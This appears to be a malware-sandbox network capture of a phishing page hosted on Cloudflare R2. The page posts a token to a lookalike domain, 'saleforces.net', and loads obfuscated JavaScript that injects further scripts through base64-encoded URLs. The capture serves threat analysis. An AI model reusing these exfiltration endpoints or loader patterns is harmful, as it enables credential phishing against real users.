2024-04-18 20:48:33 UTC	180	IN	HTTP/1.1 404 Not Found Date: Thu, 18 Apr 2024 20:48:32 GMT Content-Type: text/html Content-Length: 27242 Connection: close Server: cloudflare CF-RAY: 8767842cdfa1674e-ATL
2024-04-18 20:48:33 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 66 6f 6f 74 65 72 2d 74 69 74 6c 65 22 3e 49 73 20 74 68 69 73 20 79 6f 75 72 20 62 75 63 6b 65 74 3f 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </p> </div> <div> <p id="footer-title">Is this your bucket?</p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/"
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 Data Ascii: l="#C5EBF5" stroke="#6ECCE5" stroke-width="2" /> <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 4c 36 30 2e 39 37 31 32 20 31 30 36 2e 39 30 36 43 36 30 2e 39 37 31 32 20 31 30 36 2e 39 30 36 20 36 32 2e 34 37 32 20 39 38 2e 33 33 34 35 20 36 37 2e 38 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 Data Ascii: <path d="M56.0777 105.406L60.9712 106.906C60.9712 106.906 62.472 98.3345 67.8304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 20 31 32 34 2e 37 31 37 20 31 30 36 2e 39 33 37 43 31 32 34 2e 30 35 38 20 31 30 36 2e 39 33 37 20 31 32 33 2e 34 30 36 20 31 30 37 2e 30 36 37 20 31 32 32 2e 37 39 38 20 31 30 37 2e 33 31 39 43 31 32 32 2e 31 38 39 20 31 30 37 2e 35 37 31 20 31 32 31 2e 36 33 36 20 31 30 37 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: 124.717 106.937C124.058 106.937 123.406 107.067 122.798 107.319C122.189 107.571 121.636 107.941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC"
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 43 31 33 34 2e 39 39 35 20 34 38 2e 39 35 31 36 20 31 33 31 2e 31 30 36 20 34 35 2e 30 36 32 37 20 31 33 31 2e 31 30 36 20 34 30 2e 32 36 35 36 43 31 33 31 2e 31 30 36 20 33 35 2e 34 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 Data Ascii: d="M139.792 48.9516C134.995 48.9516 131.106 45.0627 131.106 40.2656C131.106 35.4684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white"
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 37 34 20 31 31 30 2e 33 35 37 20 34 34 2e 35 31 31 38 20 31 31 31 2e 34 37 32 20 34 34 2e 35 31 33 39 43 31 31 32 2e 35 38 38 20 34 34 2e 35 31 33 39 20 31 31 33 2e 36 35 38 20 34 34 2e 30 37 30 36 20 31 31 34 2e 34 34 37 20 34 33 2e 32 38 31 33 43 31 31 35 2e 32 33 37 20 34 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 Data Ascii: 74 110.357 44.5118 111.472 44.5139C112.588 44.5139 113.658 44.0706 114.447 43.2813C115.237 42.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.550
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 20 31 35 32 2e 36 34 31 20 31 32 37 2e 35 35 32 20 31 34 38 2e 32 34 39 20 31 32 37 2e 35 35 32 20 31 34 32 2e 38 33 31 43 31 32 37 2e 35 35 32 20 31 33 37 2e 34 31 32 20 31 33 31 2e 38 31 38 20 31 33 33 2e 30 32 20 31 33 37 2e 30 38 31 20 31 33 33 2e 30 32 43 31 34 32 2e 33 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 Data Ascii: 152.641 127.552 148.249 127.552 142.831C127.552 137.412 131.818 133.02 137.081 133.02C142.344 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g
2024-04-18 20:48:33 UTC	1369	IN	Data Raw: 36 2e 37 36 35 56 39 35 2e 32 34 33 37 48 31 30 33 2e 32 35 32 56 37 31 2e 31 39 32 39 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 Data Ascii: 6.765V95.2437H103.252V71.1929Z" fill="#6ECCE5" /> <path d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49725	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:35 UTC	695	OUT	POST /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive Content-Length: 24 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:35 UTC	24	OUT	Data Raw: 74 6b 3d 58 58 58 58 2e 44 55 4d 4d 59 2e 54 4f 4b 45 4e 2e 58 58 58 58 Data Ascii: tk=XXXX.DUMMY.TOKEN.XXXX
2024-04-18 20:48:35 UTC	529	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:48:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=ml0kpq9tg8km908f9bemi9f63s; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:48:35 UTC	12	IN	Data Raw: 32 0d 0a 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2OK0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49727	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:36 UTC	591	OUT	GET /hosuyyuiuyt/admin/js/sc.php?r=ZW0sZW1haWwsYWRk HTTP/1.1 Host: www.saleforces.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:36 UTC	374	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:48:36 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:48:36 UTC	2140	IN	Data Raw: 38 35 30 0d 0a 76 61 72 20 76 30 65 31 38 62 39 64 32 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 76 61 72 20 61 75 74 6f 67 72 61 62 20 3d 20 30 3b 0d 0a 76 30 65 31 38 62 39 64 32 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 73 72 63 27 2c 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4d 53 34 78 4c 6d 31 70 62 69 35 71 63 77 3d 3d 22 29 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 76 30 65 31 38 62 39 64 32 29 3b 0d 0a 0d 0a 76 61 72 20 76 38 35 38 34 66 37 39 37 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 Data Ascii: 850var v0e18b9d2= document.createElement('script');var autograb = 0;v0e18b9d2.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw=="));document.head.append(v0e18b9d2);var v8584f797= document.createElement('scrip

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49729	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:36 UTC	365	OUT	GET /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:36 UTC	529	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:48:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:48:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49733	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:36 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1713473284052&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-04-18 20:48:36 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-04-18 20:48:36 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-04-18 20:48:37 UTC	479	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8669D11BF6434083905CBA7B808E220A Ref B: LAX311000115035 Ref C: 2024-04-18T20:48:36Z Date: Thu, 18 Apr 2024 20:48:37 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1713473316.d36a707

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49735	151.101.66.137	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:37 UTC	561	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:37 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 18 Apr 2024 20:48:37 GMT Age: 3241382 X-Served-By: cache-lga21947-LGA, cache-pdk-kfty2130088-PDK X-Cache: HIT, HIT X-Cache-Hits: 4941, 2 X-Timer: S1713473317.172900,VS0,VE0 Vary: Accept-Encoding
2024-04-18 20:48:37 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
